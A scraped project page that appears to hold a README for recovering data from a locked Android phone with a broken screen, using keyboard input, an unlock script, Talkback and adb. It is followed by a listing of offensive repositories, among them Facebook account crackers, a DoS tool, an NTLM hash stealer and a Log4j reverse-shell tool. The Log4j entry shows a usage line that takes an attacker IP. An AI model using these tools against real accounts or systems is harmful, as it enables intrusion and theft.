Data Recovery from your broken Android phone

Overview

Broken Phone Recovery

a guide how to backup data from your locked android phone if you broke your screen (and more)

you can skip some steps depending on your situation

You need:

  • usb otg adapter for your phone
  • usb keyboard
  • raspberry pi zero
  • a second device to run adb and backup data
  • a bluetooth input device (like a joystick controller) or some app to remote control your phone(e.g teamviewer)

0. Preparation:

1. Unlock:

A) Password Lock:

  • connect keyboard via otg.
  • press ENTER, then SPACE.
  • type in your password and hit enter.
  • if your password contains y/z and it does not work, your keyboard layout could be different, try switching y/z in your password.
  • wait for the click sound to verify its unlocked.

B) Pattern lock:

  • open unlock.py in your favorite editor.
  • if your pattern does not start in the top left corner, add move_right(), move_left(), move_up() or move_down() after line 118, to navigate to your starting point.
  • if your pattern is not the small v, edit the lines after 141 to implement your pattern. Look at the examples in the script.
  • make sure to copy the modified unlock.py to the pi.
  • connect the raspberry's otg port to your phone, if your sound does work and you hear the charging sound, remove the cable you connected to your phones otg adapter and reconnect, until you hear a different sound.
  • execute python3 unlock.py.
  • if you get IOError: [Errno 108] Cannot send after transport endpoint shutdown, then the raspberry is not connected properly via otg.
  • wait for the script to finish and hear the unlock sound, if your sound works.
  • if you are lucky and your phone automatically connects to your adb device, you can proceed with step 5.

2. Talkback

the easiest way to control your broken phone is Talkback. Once its enabled, you can use your keyboard to navigate and your phone will read out the screen content

  • if you are lucky and your volume buttons still work, you can enable talkback by holding down vol+ and vol- for 3 seconds.
  • keep in mind that to unlock your phone with unlock.py, you need to disable talkback again.
  • if your volume buttons dont work or the shortcut is disabled, you can use talkback.py
  • run python talkback.py and it will ask you if you want to use google assistant to open settings
  • if you type y, say open settings in your phone language, once the script asks you to do
  • using google assistant is more reliable to open apps, but if you type n the script will try to open settings with the mouse
  • wait for the script to enable talkback

3. Prepare adb connection

if your phone does not automatically enables the adb connection, or you did not authenticate your device with your phone before, you need another input method to enable the connection, because you probably can not connect an usb keyboard and your adb device at the same time.

A) connect bluetooth controller:

if you have some bluetooth controller or keyboard, you can use it to control your phone while it should connect to your adb device.

  • if you are lucky you already connected the controller and only need to enable bluetooth if disabled.
  • otherwise you can use your keyboard and talkback to open settings, enable bluetooth and connect the controller.
  • because initial connection is not always straightforward with cheap controllers, you can also use the play store or your favorite app store to install Screen Stream
  • if you are lucky and your phone is connected with your google account, you can login to the playstore on your browser and install the app on your phone without any interaction
  • launch the app and navigate with talkback to enable screen sharing. Use TAB to select the button after 'exit' which is probably unnamed, press ENTER, TAB, TAB, ENTER to enable the sharing. Then you can watch your screen on http://phone_ip:8080.
  • next steps will be more comfortable, because you do not need talkback anymore
  • finally connect your bluetooth controller/keyboard

B) connect remote control app:

if you dont have a bluetooth device, you need to setup a remote control app like teamviewer

  • install teamviewer host on your phone with talkback, your keyboard and your favorite play store
  • if you are lucky and your phone is connected with your google account, you can login to the playstore on your browser and install the app on your phone without any interaction
  • install teamviewer on your second device and connect your phone

4. Connect adb

  • connect your phone to your adb device
  • use your bluetooth controller or remote control app to enable developer settings and MTP
  • authenticate your device

5. Backup your data

  • use other tutorials to backup your app data
  • some apps like banking or OTP apps set android:allowBackup=False, then you can only backup app data if your boot loader is unlocked
  • install scrcpy to open OTP apps like Aegis and copy your backup code. Most of them disable screen sharing with teamviewer or Screen Stream, but scrcpy works anyway.

6. Contribution

  • feel free to create an issue if something does not work, or you have a use case that is not covered in this tutorial
  • also any other contributions are welcome

todo:

  • update unlock.py so user can pass pattern string and doesnt need to edit the script
  • add script to start screen sharing
  • look for foss screen sharing and remote controlling apps
Owner
v1nc
v1nc
Facebook account cloning/hacking advanced tool + dictionary attack added | Facebook automation tool

loggef Facebook automation tool, Facebook account hacking and cloning advanced tool + dictionary attack added Warning Use this tool for educational pu

Md Josif Khan 149 Aug 10, 2022
Salesforce Recon and Exploitation Toolkit

Salesforce Recon and Exploitation Toolkit Salesforce Recon and Exploitation Toolkit Usage python3 main.py URL References Announcement Blog - https:/

81 Dec 23, 2022
A deobfuscator for multiple python obfuscators

PY4COC A deobfuscator for multiple python obfuscators, supports exe's packed with pyinstaller too. How to use python3 py4coc.py exe file or py file o

svenskithesource 16 Dec 03, 2022
macOS Initial Access Payload Generator

Mystikal macOS Initial Access Payload Generator Related Blog Post: https://posts.specterops.io/introducing-mystikal-4fbd2f7ae520 Usage: Install Xcode

Leo Pitt 206 Dec 31, 2022
Mad Spammer is a python webhook spammer which is very easy and safe to use.

Mad Spammer 👿 Pre-Setup: Open your terminal/console and type: pip install module colorama python MadSpammer.py Setup: After doing that, you should be

1 Nov 26, 2021
Log4j2 CVE-2021-44228 revshell

Log4j2-CVE-2021-44228-revshell Usage For reverse shell: $~ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l [AttackerIP] -p [At

FaisalFs 16 Mar 24, 2022
A python base script from which you can hack or clone any person's facebook friendlist or followers accounts which have simple password

Hcoder This is a python base script from which you can hack or clone any person's facebook friendlist or followers accounts which have simple password

Muhammad Hamza 3 Dec 06, 2021
FBGen is simple facebook user based wordlist generator using Username/ID and cookie.

FBGen is simple facebook user based wordlist generator using Username/ID and cookie.

2 Jul 20, 2022
DoSer.py - Simple DoSer in Python

DoSer.py - Simple DoSer in Python What is DoSer? DoSer is basically an HTTP Denial of Service attack that affects threaded servers. It works like this

1 Oct 12, 2021
Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

Spring Cloud Gateway 3.0.7 & 3.1.1 Code Injection (RCE) CVE: CVE-2022-22947 CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)

Carlos Vieira 35 Dec 28, 2022
A Python Scanner for log4j

log4j-Scanner scanner for log4j cat web-urls.txt | python3 log4j.py ID.burpcollaborator.net web-urls.txt http://127.0.0.1:8080 https://www.google.c

Ihebski 5 Jun 26, 2022
A forensic collection tool written in Python.

CHIRP A forensic collection tool written in Python. Watch the video overview 📝 Table of Contents 📝 Table of Contents 🧐 About 🏁 Getting Started Pre

Cybersecurity and Infrastructure Security Agency 1k Dec 09, 2022
LaxrFar Python Obfuscator

LaxrFar Python Obfuscator Usage First do the things from "Upload to Webserver" o

LaxrFar 5 Jul 19, 2022
STATS305C: Applied Statistics III (Spring, 2022)

STATS305C: Applied Statistics III Instructor: Scott Linderman TA: Matt MacKay, James Yang Term: Spring 2022 Stanford University Course Description: Pr

Scott Linderman 14 Aug 11, 2022
Convert a collection of features to a fixed-dimensional matrix using the hashing trick.

FeatureHasher Convert a collection of features to a fixed-dimensional matrix using the hashing trick. Note, this requires Jina=2.2.4. Example Here I

Jina AI 5 Mar 15, 2022
A Radare2 based Python module for Binary Analysis and Reverse Engineering.

Zepu1chr3 A Radare2 based Python module for Binary Analysis and Reverse Engineering. Installation You can simply run this command. pip3 install zepu1c

Mehmet Ali KERİMOĞLU 5 Aug 25, 2022
MS-FSRVP coercion abuse PoC

ShadowCoerce MS-FSRVP coercion abuse PoC Credits: Gilles LIONEL (a.k.a. Topotam)

Shutdown 219 Dec 28, 2022
Lnkbomb - Malicious shortcut generator for collecting NTLM hashes from insecure file shares

Lnkbomb Lnkbomb is used for uploading malicious shortcut files to insecure file

Joe Helle 216 Jan 08, 2023
BoobSnail allows generating Excel 4.0 XLM macro. Its purpose is to support the RedTeam and BlueTeam in XLM macro generation.

Follow us on Twitter! BoobSnail BoobSnail allows generating XLM (Excel 4.0) macro. Its purpose is to support the RedTeam and BlueTeam in XLM macro gen

STM Cyber 232 Nov 21, 2022
Python bindings to LibreSSL library

LibreSSL bindings for Python using CFFI Python3 bindings to LibreSSL using CFFI. It aims to provide interface to the most important bits of LibreSSL o

Alexander Kiselyov 1 Aug 02, 2022